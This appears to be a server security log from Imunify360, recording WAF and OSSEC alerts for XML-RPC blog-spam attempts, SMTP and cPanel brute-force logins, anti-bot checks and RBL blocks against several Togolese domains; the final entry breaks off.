IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0807079ea95a4459db538ee6d139389f39da08cf||Title:e4gpnuex42pw472||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:00:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64405: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:00:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64406: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:00:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b273631fcedea84300465f5bce025aa80d98c8f||Title:swts86a57xpa68||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d2179c73944b77cf8ab8c414b7d90218e28adbb||Title:kf047x32x6fl7ngh||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fcf9cc7afdc4584cf3f0693ea788b6193c0c308||Title:01m81agd1t4h6gmx1a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:01:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:01:36 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64668: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d2baf5e2e338a57280c90a29661a17a7d4024a34||Title:oxvgmin4r1vh76o||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:01:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64652: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c8f008a50d9ceb326c4222e51f443574e6df40b3||Title:c9ov3hwgi3hyriil||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:289123c1372abcc16707877d2558489a34b2d911||Title:hih5c5mwc9v6kr8l||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:02:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f72563faecb5d02ce718c92d890b1e1a08cb7b0||Title:3ejmpjw5oqjhocx||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:02:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65034: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d8fbea447b06e1c23155ed0b9e64ca5ad9bb1ad||Title:ar65x9tdgky30cu6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:02:38 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65078: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:03:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65235: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22b508fd4ee6a8acbe87b3b4043d5bfef3e3e601||Title:b2nkcek47jpb0xvhi||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.29.7
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/738759454 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:03:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:03:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65237: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0f53aeeada9d3b602dc3e59cc5dd79ffc93cb77c||Title:9id1plh9yhtmz23eg||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ff0596ffb283763e4fb0fec31d29525938b8af6||Title:ha0bdw9r5s7fbvrrq||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8558a5cf07403be60eae9e1942fe2a90c8e5e98||Title:1qsnf56er2cbm3j1q||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08117676393ba9058c44ab4a8a8f6e7a2e412379||Title:ecrk9nyru3gdtj5vas||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:71c3be954d2fbff0cfcd7bba59bca5a21b1525c4||Title:38oy9wcw8p1hcgxr||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (58.69.123.4) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.9
country_id: 3469034
description:
Jun 20 17:06:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a523f93f61eabc83cac013453957ca3f74e84b6e||Title:39mdxhbrpjrtrg3onp||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5b8cbc7990fd5127bf3589e1e91a61203f392155||Title:5u07lbq6fbj66hkt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93211e085172e53996fa24788fd00585342ca5f2||Title:moaorly8as1vmms9qi||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.9
country_id: 3469034
description:
Jun 20 17:06:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6545e618f74411539434fa4457c14b5c050737a5||Title:usu6i21u5tvump4||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:07:01 +0000] info [cpaneld] 102.54.238.57 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:85986dfcf6ead2eb7ebc36edbfbe2a1dcd7c0f67||Title:vp9ikj99y5r5xoyyw9||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:21833e54f10633faff1c5cc2941a6071e0f68d02||Title:5juyscmreia8vbpm43||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ec5f3d84f8e992b5de25ffa614605b1ba1b2bd5||Title:ihqvnbw6hlevxbz||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.8.179
country_id: 3077311
description:
Jun 20 17:07:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.8.179 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:07:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.115.197.138
country_id: 1168579
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/contact HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:05d62e5cf06f11d7d2f9b1d69439b93adab8c40b||Title:ed8ehbf3uc202i6nnf||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:01d7438d063b710a86dcaa9ca0aa522176d361a7||Title:fsdksevmjk24far||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 91.132.125.164
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:wallysills24||Email:wally-wally@ducahi.pretoria.pro||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.132.125.164
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.91.132.125.164||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ca1c91a45ecacd65dbb19654b45a4bc8ab08455||Title:194rimjixiheo8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1baa9045af042a4f0408cf01d4a5f5b1eaa1b0e4||Title:pdnqmov5br3orlf||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:329d6d38bdd1ee54ff553e459de5f17956c5f359||Title:571d9eczbtkn6lgd||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a2057f0207f9e9cc1ed7f71b6dc2860f17961f41||Title:8wkiri43plz8bdzfo||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.197
country_id: 3865483
description:
Jun 20 17:10:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30be1c6c9e2570f574ab3d8516ac71feaf629c1b||Title:d40561h2n18xt2f978||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:11:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055323&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975459 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:11:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9880168&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975458 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.119.40.135
country_id: 294640
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.212.119.40.135||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.101.67.253
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.192.101.67.253||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.163.92.51
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.193.163.92.51||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.14.226
country_id: 241170
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.31.134.14.226||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:47bef74c59a0388a077c19b7c9b4b98589207ed4||Title:xekm2qd9us9h6h||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316904
name: IM360 WAF: Track IP which is in the web-spammers RBL
abuser: 31.134.12.91
country_id: 241170
domain: cloud-et-racks.tg
description:
IM360 WAF: Track IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.31.134.12.91||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.9.31
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.45.147.9.31||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.142.55.155
country_id: 732800
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2d305c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ed2e3c05e665f39495e6468ce2e314b5fbd1a38||Title:s1nzak5bi4xjf1cao5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:12:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9540454&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975537 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:12:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936229&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781975539 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e37aacfda55c902d555fdd7e206578a52773156f||Title:j3n8sjaoexve8elkr||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-20 17:11:33 +0000] info [cpaneld] 103.253.27.219 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b85b8a58208253e24cdb31f37ce6eb4504069aab||Title:ub20iq0bipmlmjquoz||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c01e35c4344fe702bd90d3ee3170bcc3fd14da1e||Title:ily7v69n0o4r9zimk||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8483ee327bcbe26115ed560a46bbde1de7b2a880||Title:67uexdd4knxs9gl||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0ff6eea1267a5e5bff01f7a38ed7831a360d7f4||Title:aocfc968plqgzfc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6d6c0fff6df65141668da618ad301ce4c01c3d55||Title:dttymnmmeq731d6v8d||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
